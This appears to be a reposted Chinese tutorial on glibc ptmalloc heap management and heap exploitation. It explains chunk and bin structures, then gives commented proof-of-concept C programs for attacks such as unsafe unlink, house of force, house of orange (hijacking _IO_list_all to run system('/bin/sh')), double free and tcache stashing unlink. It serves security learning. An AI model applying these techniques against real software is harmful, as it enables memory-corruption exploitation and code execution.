linux的堆管理及攻击(ptmalloc) 您所在的位置:网站首页 linux堆管理机制详解 linux的堆管理及攻击(ptmalloc)

linux的堆管理及攻击(ptmalloc)

2024-07-14 09:14| 来源: 网络整理| 查看: 265

转自:https://blog.csdn.net/weixin_45574485/article/details/113104362 堆基础 堆简介

(部分参考与libc源码) 不同的平台有不同的堆内存管理机制,比如:

管理机制对应的相关的平台 dlmalloc General purpose allocator ptmalloc2 glibc jemalloc FreeBSD and Firefox tcmalloc Google libumem Solaris

本来linux默认的是dlmalloc,但是由于其不支持多线程管理,后来被支持多线程的ptmalloc2代替了。接下来的内容都是基于ptmalloc机制进行的堆管理和攻击。

ptmalloc进行堆分配时有两种方式:brk和mmap。brk分配的堆区由libc管理,在程序结束之前不会返还给操作系统,mmap分配的堆区在使用后会直接munmap返回给系统。

但是也有特例:(glibc malloc 直接mmap的情况)

1.非main_arena区域和它的堆直接通过mmap进行映射

2.申请的chunk大小超过mp_.mmap_thrshold,导致large bin和top都不能满足的情况。

上面提到了几个概念:

chunk:堆块,堆结构中最基本的单元,每一个堆块对应一个chunk,对应结构体malloc_thunk。ptmalloc进行堆管理,可以将堆分成三类:allocated chunk (已分配的),free chunk (空闲的),top chunk (顶部chunk)。

bin:用于组织管理空闲堆块的链表结构

top:堆区的头部,实质为一个chunk,记录着剩下的未分配的堆空间的大小(不包含已经free但是还在bin中管理着的空闲堆块)

main_arena: 结构体malloc_state 的一个实例,用于组织各种bin链和堆分配信息,main_arena在一个进程中只存在一个,其余的malloc_state为非main_arena,比如线程中的malloc_state结构

堆相关结构体 struct malloc_chunk { INTERNAL_SIZE_T mchunk_prev_size; /* Size of previous chunk (if free). */ INTERNAL_SIZE_T mchunk_size; /* Size in bytes, including overhead. */ struct malloc_chunk* fd; /* double links -- used only if free. */ struct malloc_chunk* bk; /* Only used for large blocks: pointer to next larger size. */ struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */ struct malloc_chunk* bk_nextsize; }; /* * prev_size和size分别代表前一个chunk的大小和当前chunk的大小 * fd和bk分别指向上一个和下一个空闲chunk的起始地址 * fd_nextsize和bk_nextsize只在large bin中才会生效,其余的chunk bin不适用这两个指针 * 因为chunk按照0x1000对齐,所以size的后三位用来作为标志位,判断chunk是否被分配,是否mmap分配的,前面是否有堆块(这个决定pre_size位是否生效) * malloc申请的chunk返回地址并发chunk的起始地址,而是fd指针所在的地址,pre_size既属于当前chunk的头,又属于上一个chunk的数据部分 * 注:glibc最开始会申请一块大的堆内存块用于进程中的malloc进行分配,此堆块地址为连续的 * 在通过malloc和free将这个大的连续堆块分配成了不连续的小块 * 其中free掉的部分被malloc_state中的bin链进行管理,故bin链中的内存地址不一定是连续的 * 这个能解释为什么有pre_size和size形成的隐式链以后还有fd和bk来进行chunk的连接 */ struct malloc_state { /* Serialize access. */ __libc_lock_define (, mutex); /* Flags (formerly in max_fast). */ int flags; /* Set if the fastbin chunks contain recently inserted free blocks. */ /* Note this is a bool but not all targets support atomics on booleans. */ int have_fastchunks; /* Fastbins */ mfastbinptr fastbinsY[NFASTBINS]; // fast bin /* Base of the topmost chunk -- not otherwise kept in a bin */ mchunkptr top; /* The remainder from the most recent split of a small request */ mchunkptr last_remainder; /* Normal bins packed as described above */ mchunkptr bins[NBINS * 2 - 2]; /* Bitmap of bins */ unsigned int binmap[BINMAPSIZE]; /* Linked list */ struct malloc_state *next; /* Linked list for free arenas. Access to this field is serialized by free_list_lock in arena.c. */ struct malloc_state *next_free; /* Number of threads attached to this arena. 0 if the arena is on the free list. Access to this field is serialized by free_list_lock in arena.c. */ INTERNAL_SIZE_T attached_threads; /* Memory allocated from the system in this arena. */ INTERNAL_SIZE_T system_mem; INTERNAL_SIZE_T max_system_mem; } /* * malloc_state根据空闲堆块的大小来进行堆块的管理,分为fastbin,small bin,unsorted bin和large bin四种空闲链表,其中fastbin位于fastbinsY[NFASTBINS],剩下三种bin统一在bins[NBINS * 2 - 2]中进行管理,通过binmap[BINMAPSIZE]来区分某个bin是否存在空闲链表 * fast bin共10个链表,free时chunk会根据的大小进行分类,分到fast bin不同的bin中,fast bin中的空闲chunk的size位的presize不会被初始化,防止堆块的合并,提高分配效率。fast bin为单链,故每次分配都是先入后出。起始bin的chunk大小为32字节,每个bin增加16字节。一些资料上说每个bin上面的chunk最多十个,这个我在ubuntu 16.04上面测试发现是超过这个值的,估计不触发合并就应该没有上限 * unsorted bin:未整理的bin,堆块被释放后优先放到unsorted bin (不适合放到fast bin的chunk,目的是能够有第二次机会重新利用最近释放的chunk),在下一次malloc到来之时,匹配优先级:fast->small->unsorred ->large->top->mmap->分配失败,如果满足条件,则切割,分配,切割后剩余部分继续留在unsorted bin.不满足则按照大小分到fast/small/large bin中。采用fifo分配 * small bin:共62个bins,第一个chunk大小为32字节,每个chunk的大小是8(64位16字节)字节,每个bin中的chunk大小固定。采用fifo * large bin:共63个bin,存放大的chunk,每条bin中的chunk大小可以不一致,但按照从大到小的顺序成链(通过链fd_nextsize和bk_nextsize实现) */

前面提到,glibc之前并不是用ptmalloc来进行堆管理的,为了支持多线程,而使用了ptmalloc,此时需要用到一个结构体: _heap_info

typedef struct _heap_info { mstate ar_ptr; /* 这个heap所在的arena */ struct _heap_info *prev; /* 上一个heap */ size_t size; /* 字节为单位的当前大小 */ char pad[-5 * SIZE_SZ & MALLOC_ALIGN_MASK]; /* 用于对齐 */ }heap_info; /* * ar_ptr指向其对应的arena,typedef struct malloc_state * mstate * prev指向前一个heap_info结构 */

故将heap_info、malloc_state等连接起来可以得到ptmalloc中堆的具体结构(图来自网络):

main_arena和只含有一个 只有一个Heap info的 thread arena

在这里插入图片描述 在这里插入图片描述

1 1.main_arena中不含有heap_info,这是进程的整体堆管理 2 2.线程的堆管理存在heap_info结构,通过heap_info去指向线程本身的malloc_state 3 3.线程的堆通过mmap获取,而进程的堆在glibc中直接通过brk申请 4 4.每个线程都有自己的thread arena,一个arena可以有多个mmap的堆段组成 5 5.线程的arena进行chunk分配时通过mprotect模拟子堆的增长 6 6.当新线程产生时,会将一个arena附加到新线程,以减少新线程进行malloc和free等操作进行不必要等待 7 7.arena数量有限,为8*cpu-core malloc 和 free过程

malloc

1 1.进程第一个调用malloc时,则需要进行一次初始化chunk size + 128k并按照4k对齐的空间作为初始化堆,且位于main_arena 2 2.若已经有arena,则计算实际所需的chunk大小 3 3.判断chunk.size bk // 找到unsorted bin的第一个chunk 2 bck = victim->bk; 3 unsorted_chunks (av)->bk = bck; 4 bck->fd = unsorted_chunks (av); 5 // 从代码可以看出,申请空间victim以后,unsorted bin的bk指向了victim的bk,victim的bk的fd指向了unsorted bin

攻击利用

1 #include 2 #include 3 #include 4 #include 5 6 void jackpot(){ fprintf(stderr, "Nice jump d00d\n"); exit(0); } 7 8 int main() { 9 intptr_t stack_buffer[4] = {0};// fake chunk 10 intptr_t* victim = malloc(0x100); // 申请一个0x100的chunk 11 intptr_t* p1 = malloc(0x100); // 防止顶部堆块合并 12 free(victim);// 释放victim,此时victim被放到unsorted bin (0x100+MINISIZE超过了fastbin的区间) 13 stack_buffer[1] = 0x100 + 0x10;// stack_buffer->size = 0x110 (need_size+head_size) 14 stack_buffer[3] = (intptr_t)stack_buffer; // stack_buffer->bk = stack_buffer,绕过检查 15 // stack_buffer为栈空间数据,将其构造成一个伪造的chunk 16 victim[-1] = 32;// victim->size = 32 17 victim[1] = (intptr_t)stack_buffer; // victim->bk is pointing to stack 18 // 修改victim的size字段和bk指针,将size改成0x20,bk指向伪造的栈 chunk地址 19 char *p2 = malloc(0x100);// p2 == stack_var 20 // 再次malloc 0x100空间时,由于victim的size被改变为0x20,所以将victim整合到small bin,再从victim的bk中去找合适的空间 21 // 此时找到了伪造的栈chunk,且大小刚刚好,故将栈上的空间申请了出来,即stack_buffer 22 intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode 23 memcpy((p2+40), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary 24 // 将恶意函数地址复制到stack_buffer某个能被执行到的位置,即可实现绕过canary进行攻击 25 }

 

 

图解

在这里插入图片描述

unsorted bin attack

此方法主要是用于泄露libc的地址

攻击利用:

1 #include 2 #include 3 int main(){ 4 unsigned long stack_var=0; 5 unsigned long *p=malloc(0x410); 6 malloc(500);//防止堆块与top发生合并 7 free(p);// p所在chunk被整合到unsorted bin 8 p[1]=(unsigned long)(&stack_var-2); // 伪造p->bk 9 // 因为p和stack_var是栈上两个连续的变量,故它们的地址是连续的 10 // 故stack_var->bk == p 11 // 又p->bk == stack_var-2 12 // 故stack_var->bk->bk == stack_var-2,绕过了地址检测 13 malloc(0x410);// 此时再将p申请出来,由于p的bk被伪造,故可以将stack_var的fd指向unsorted bin-2的地址从而暴露libc信息。即暴露的地址为top的地址 14 fprintf(stderr, "Let's malloc again to get the chunk we just free. During this time, the target should have already been " 15 "rewritten:\n"); 16 fprintf(stderr, "%p: %p\n", &stack_var, (void*)stack_var); 17 } unsafe unlink

unlink是空闲的chunk在合并和被malloc时的解链过程,这个过程如果存在漏洞,可以通过堆溢出实现任意地址读写

攻击利用:

1 #include 2 #include 3 #include 4 #include 5 uint64_t *chunk0_ptr; 6 int main() 7 { 8 int malloc_size = 0x80; 9 int header_size = 2; 10 chunk0_ptr = (uint64_t*) malloc(malloc_size); //申请第一个chunk 11 uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size); //申请第二个chunk 12 chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3); 13 // chunk0_ptr指向的值为chunk0的body的地址,不包含chunk 头,故chunk0_ptr为伪造的chunk的起始地址(包含伪造头) 14 // fake_chunk->fd = &fake_chunk-0x18 , 也就是说fake_chunk->fd->bk = fake_chunk 15 // a[2] = a-3 = b;b[3] = b+3 = a;a->fd->bk = a 16 chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2); 17 //同理可得:fake_chunk->bk = &fake_chunk-0x10, 即fake_chunk->bk->fd = fake_chunk 18 // 综上两步可以伪造并绕过检测:p->fd->bk = p,p->bk->fd = p 19 uint64_t *chunk1_hdr = chunk1_ptr - header_size; 20 chunk1_hdr[0] = malloc_size;// 伪造presize,即newsize + 0x10 = size 21 chunk1_hdr[1] &= ~1; // 伪造previous in use 标志为0 22 free(chunk1_ptr); // free 触发两个块unlink 23 // 修改chunk2的数据,实现在free时触发chunk1和chunk2的合并 24 25 char victim_string[8]; 26 strcpy(victim_string,"Hello!~"); 27 chunk0_ptr[3] = (uint64_t) victim_string; 28 /** 29 * unlink 以后内存布局 30 * 1.&chunk0_ptr == &chunk0_ptr[3] chunk0_ptr == chunk0_ptr[3],即chunk0_ptr 变成了 &chunk0_ptr-3 31 * 2.所以,chunk0_ptr[3] == &chunk0_ptr[0] 32 * 3.修改chunk0_ptr[3]的值,即可修改chun0_ptr所指向的地址 33 * 4.即chunk0_ptr所指向地址变成了victim的地址 34 * 5.此时修改chunk0_ptr[0]的值,就会成功修改到victim的值 35 * 6.第三步导致chunk0_ptr的值改变后,&chunk_ptr[3]不再和chunk0_ptr指向同一个地址 36 */ 37 chunk0_ptr[0] = 0x4141414142424242LL;// chunk_ptr[0] = victim_string 38 fprintf(stderr, "New Value: %s\n",victim_string); 39 }

unlink 过程

1 mchunkptr fd = p->fd; 2 mchunkptr bk = p->bk; 3 fd->bk = bk; 4 bk->fd = fd; 5 // 即 p->fd->bk = p->bk,p->bk->fd = p->fd 6 // 向前合并,丢弃当前块 7 // 向后合并,丢弃后面块

图解:

在这里插入图片描述 在这里插入图片描述 在这里插入图片描述

此时通过修改chunk0_ptr[3]的内容为要读写的地址addr,实际上修改的是chunk_ptr所指向的内容。修改完以后,chunk0_ptr的指针恢复正常,再次对chunk0_ptr[0]进行读写,则实际上是对addr的读写

house of einherjar

攻击利用:

1 #include 2 #include 3 #include 4 #include 5 #include 6 7 int main() 8 { 9 // 禁用缓冲区 10 setbuf(stdin, NULL); 11 setbuf(stdout, NULL) 12 // 初始化数据 13 uint8_t* a; 14 uint8_t* b; 15 uint8_t* d; 16 // 分配0x38的a 17 a = (uint8_t*) malloc(0x38); 18 int real_a_size = malloc_usable_size(a); 19 size_t fake_chunk[6]; 20 // 制造一个假块 21 fake_chunk[0] = 0x100; // prev_size is now used and must equal fake_chunk's size to pass P->bk->size == P->prev_size 22 fake_chunk[1] = 0x100; // size of the chunk just needs to be small enough to stay in the small bin 23 fake_chunk[2] = (size_t) fake_chunk; // fwd 24 fake_chunk[3] = (size_t) fake_chunk; // bck 25 fake_chunk[4] = (size_t) fake_chunk; //fwd_nextsize 26 fake_chunk[5] = (size_t) fake_chunk; //bck_nextsize 27 // malloc 一个0xf8的块,其真实大小为0x100 28 b = (uint8_t*) malloc(0xf8); 29 int real_b_size = malloc_usable_size(b); 30 uint64_t* b_size_ptr = (uint64_t*)(b - 8); 31 size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk); 32 // 覆盖b的pre_size为fake size 33 *(size_t*)&a[real_a_size-sizeof(size_t)] = fake_size; 34 // 修改fake_chunk的size字段 35 fake_chunk[1] = fake_size 36 free(b); // 触发fake 和 b的合并 37 // 再次malloc将会把fake chunk申请出来 38 d = malloc(0x200); 39 }

如图

在这里插入图片描述

house of force

攻击利用:

1 #include 2 #include 3 #include 4 #include 5 int main(){ 6 long stack_var[10]; 7 long *p = malloc(0x10); 8 *(p+3) = -1;// 溢出到top的size为-1,即0xffffff,作为无符号整数时,该值为地址最大的值 9 long size = (long)stack_var-(long)p; // 计算var到p的距离 10 // (long)stack_var-(long)(p-6); 11 size = size-0x30;// 要申请的size 12 // 为什么要-0x30 13 /** 1.-top chunk的head 2. -要申请出来的chunk的头 3.满足(2)以后,top指向var,要想将var的地址申请出来,需要-0x10,即var chunk的head*/ 14 15 long *s = malloc(size); 16 // 申请完s,top位于var-0x10 17 p = malloc(0x10); 18 // p的地址就为var的地址,若var为要攻击的地址,则,可以实现对要攻击的地址的任意读写 19 return 0; 20 }

 

 

图示

在这里插入图片描述

double free

double主要在fast bin上进行攻击,因为fast bin为单链,且安全检查不够严格,故double free很容易实现,这里列一下过程:

1 1.申请一个chunk a,一个chunk b,chunk 大小相同且在0x20-0x80之间,这样能让两个chunk 在同一条fast bin 2 2.先free a,再free b,再free a,目的是绕过检测,因为glibc中会判断当前free的chunk和fast bin中的上一个chunk是否同一个,这样中间插一个b chunk就能绕过了 3 3.malloc a,然后修改a->fd为要攻击的地址addr 4 4.malloc b 5 5.再次malloc a,此时会将chunk 中的a再次申请出来 6 6.再次malloc即可得到要攻击的地址addr  

图示

在这里插入图片描述

无free的堆攻击:hourse of orange

一般想要利用堆进行攻击,都会用到free将堆释放到arena结构的bins中,然后通过再次申请,伪造堆块实现攻击。但如果遇到没有free的情况,往往进行堆攻击是比较困难的,hourse of orange利用的是替换文件i/o流函数指针的方式,实现攻击。

攻击利用:

1 #include 2 #include 3 #include 4 int winner ( char *ptr); 5 6 int main() 7 { 8 char *p1, *p2; 9 size_t io_list_all, *top; 10 11 p1 = malloc(0x400-16); 12 // 计算top所在的地址 13 top = (size_t *) ( (char *) p1 + 0x400 - 16); 14 top[1] = 0xc01;// 修改top的size,将其改小 15 // top size 必须是对齐内存页的 16 // top size的pre位必须为1 17 18 p2 = malloc(0x1000);// 申请size>修改后的top size,但是<mp_.mmap_threshold的size 19 // 避免调用mmap申请内存 20 io_list_all = top[2] + 0x9a8; 21 top[3] = io_list_all - 0x10; // 将io_list_all的地址写到top chunk的bk 22 23 // 作为hook后函数的参数 24 memcpy( ( char *) top, "/bin/sh\x00", 8); 25 26 // 伪造通过伪造top实现伪造_IO_FOLE结构 27 top[1] = 0x61;// 伪造top的size,下次malloc时将其整合到small bin[6] 28 // io_list_all偏移0x60的位置恰好是_chain 29 // 配置伪造io_list_all,通过控制top的内容控制该结构 30 31 /**触发: 32 if (((fp->_mode _IO_write_ptr > fp->_IO_write_base) 33 || (_IO_vtable_offset (fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)))&& _IO_OVERFLOW (fp, EOF) == EOF) 34 */ 35 top[24] = 1;// 伪造fp->_mode > 1 36 top[21] = 2;// fp->_wide_date->_IO_write_base 37 top[22] = 3;// fp->_wide_date->_IO_write_ptr 38 39 top[20] = (size_t) &top[18];// 替换 _IO_WIDE_DATA 40 top[15] = (size_t) &winner;// hook jmp table的第四个值为hook函数 41 top[27] = (size_t ) &top[12]; // hook jmp table 42 malloc(10); 43 return 0; 44 } 45 46 // 用于攻击的函数 47 int winner(char *ptr) 48 { 49 system(ptr); 50 return 0; 51 }

 

 

图解:

在这里插入图片描述 在这里插入图片描述

large bin 攻击

large bin的组织方式:

在这里插入图片描述

large bin是按照从小到大的顺序排列的,一条bin链中的chunk 大小并不完全一样,处于一个范围区间。大小相同的chunk 共用一个头,只有头的fd_nextsize和bk_nextsize才会生效

攻击利用:

因为large bin 含有两条链,故可以实现两个任意地址的读写:

1 #include 2 #include 3 int main() 4 { 5 unsigned long stack_var1 = 0;// 要攻击的地址1 6 unsigned long stack_var2 = 0;// 要攻击的地址2 7 unsigned long *p1 = malloc(0x320); // 申请第一个large chunk 8 malloc(0x20);// 申请一个小chunk 避免合并 9 unsigned long *p2 = malloc(0x400);// 第二个large chunk 10 malloc(0x20);// 小chunk 避免合并 11 unsigned long *p3 = malloc(0x400);// 第三个large chunk 12 malloc(0x20);// 小chunk 13 free(p1); 14 free(p2); 15 malloc(0x90);// 先将p1,p2整合到large bin,然后再将p1切割,剩下部分放到unsorted bin 16 free(p3);// 释放p3,p3被放到unsorted bin 17 p2[-1] = 0x3f1;// p2.size < p3.size ,3f1 < 411 18 p2[0] = 0; 19 p2[2] = 0; 20 p2[1] = (unsigned long)(&stack_var1 - 2);// p2->bk = stack_var2[-2] ,stack_var1 = addr1->fd 21 p2[3] = (unsigned long)(&stack_var2 - 4);// p2->bk_nextsize = stack_var2[-4], stack_var2 = addr2->fd_nextsize 22 // 触发large bin合并时,会触发两个任意地址读写:addr1 和 addr2 23 malloc(0x90);// 触发large bin的链接,先将p1合并到large bin,再将p3合并到large bin,再切割p1 24 // 此时p3合并到p2之前 25 // 因为p2的sizebk_nextsize->size在内存中 26 // 的值 > p3->size,故p3插入到p2和stack_var2-4之间,不会改变large bin的fd和bk指针 27 // 但p3的bk和bk_nextsize指向了stack_var1-2和stack_var2-4,同时stack_var1-2->fd == stack_var1 == p3 chunk的地址,stack_var2-4->fd_nextsize == stack_var2 == p3 chunk的地址 28 // 故stack_var1和stack_var2的值都变成了p3的地址 29 // 实现了两次任意地址读写 30 fprintf(stderr, "stack_var1 (%p): %p\n", &stack_var1, (void *)stack_var1); 31 fprintf(stderr, "stack_var2 (%p): %p\n", &stack_var2, (void *)stack_var2); 32 return 0; 33 }

 

  tcache 机制

由于线程要进行堆申请时,需要通过arena来获取,而每个arena都通过获取锁来占用,这样,如果通过fast bin进行堆分配,对锁指令的执行会占用分配相当大的一部分时间,且锁资源非常珍贵。为了加快堆分配的速度,在libc 2.26以后引入了tcache机制。

tcache有如下机制:

1 1.tcache 也通过单链进行管理,故针对fast bin能够生效的攻击基本上也适用于tcache,比如double free 2 2.每个线程默认的tcache有64个bin,每个bin包含最多七个chunk 3 3.每条bin中的chunk 大小完全相等 4 4.malloc申请时,优先从tcache中获取chunk 5 5.当申请的chunk是从fast/small/large bin时,会将三个bins中剩余chunk整合到tcache,直到tcache 对应的链中存在七个chunk或者三个bins对应的bin为空 6 6.如果申请的堆块来自unsorted bin,切割unsorted bin以后剩余部分继续留在unsorted bin 7 7.tcache没有锁机制,且对链的检查比fast bin还不严格 8 8.当使用calloc申请内存时,不会使用tcache机制

 

tcache stashing unlink attack

攻击利用:

1 #include 2 #include 3 int main(){ 4 unsigned long stack_var[0x10] = {0}; 5 unsigned long *chunk_lis[0x10] = {0};// 通过指针数组管理堆指针 6 unsigned long *target; 7 stack_var[3] = (unsigned long)(&stack_var[2]); 8 for(int i = 0;i < 9;i++){ 9 chunk_lis[i] = (unsigned long*)malloc(0x90);// 申请九个chunk 10 } 11 for(int i = 3;i < 9;i++){ 12 free(chunk_lis[i]);//释放4-9共六个chunk到tcache 13 } 14 //last tcache bin 15 free(chunk_lis[1]); // 最后一个tcache 16 //now they are put into unsorted bin 17 // chunk_lis[0 & 2]被分配到unsorted bin 18 free(chunk_lis[0]); 19 free(chunk_lis[2]); 20 // 申请一个大于前面几个chunk的内存,将chunk_lis[0 & 2]合并到small bin 21 malloc(0xa0);//>0x90 22 // 申请两个chunk,此时从tcache中分配,tcache只剩5个,small bin还剩两个 23 malloc(0x90); 24 malloc(0x90); 25 // 修改chunk_lis[2]的bk指针,由于bins采用lifo的方式进行chunks管理,所以这里chunk_list[2]->fd 指向small bin。 26 chunk_lis[2][1] = (unsigned long)stack_var;// 修改chunk_list[2]的fd为伪造的chunk 27 /** 28 * calloc 在分配时不会触发tcache,且当tcache非满时,同大小的small bin会被放进tcache 29 * 在这个过程中只对当前calloc的chunk进行了完整性检查,后面堆块的检查缺失。 30 * 当攻击者可以写进一个small bin的bk时,其可以在任意地址上写一个libc的地址 31 * 构造得当的情况下也可以分配fake chunk到任意地址 32 */ 33 calloc(1,0x90); 34 target = malloc(0x90); 35 fprintf(stderr, "As you can see, next malloc(0x90) will return the region our fake chunk: %p\n",(void*)target); 36 return 0; 37 }

 

 

图解:

在这里插入图片描述



【本文地址】

公司简介

联系我们

今日新闻

    推荐新闻

    专题文章
      CopyRight 2018-2019 实验室设备网 版权所有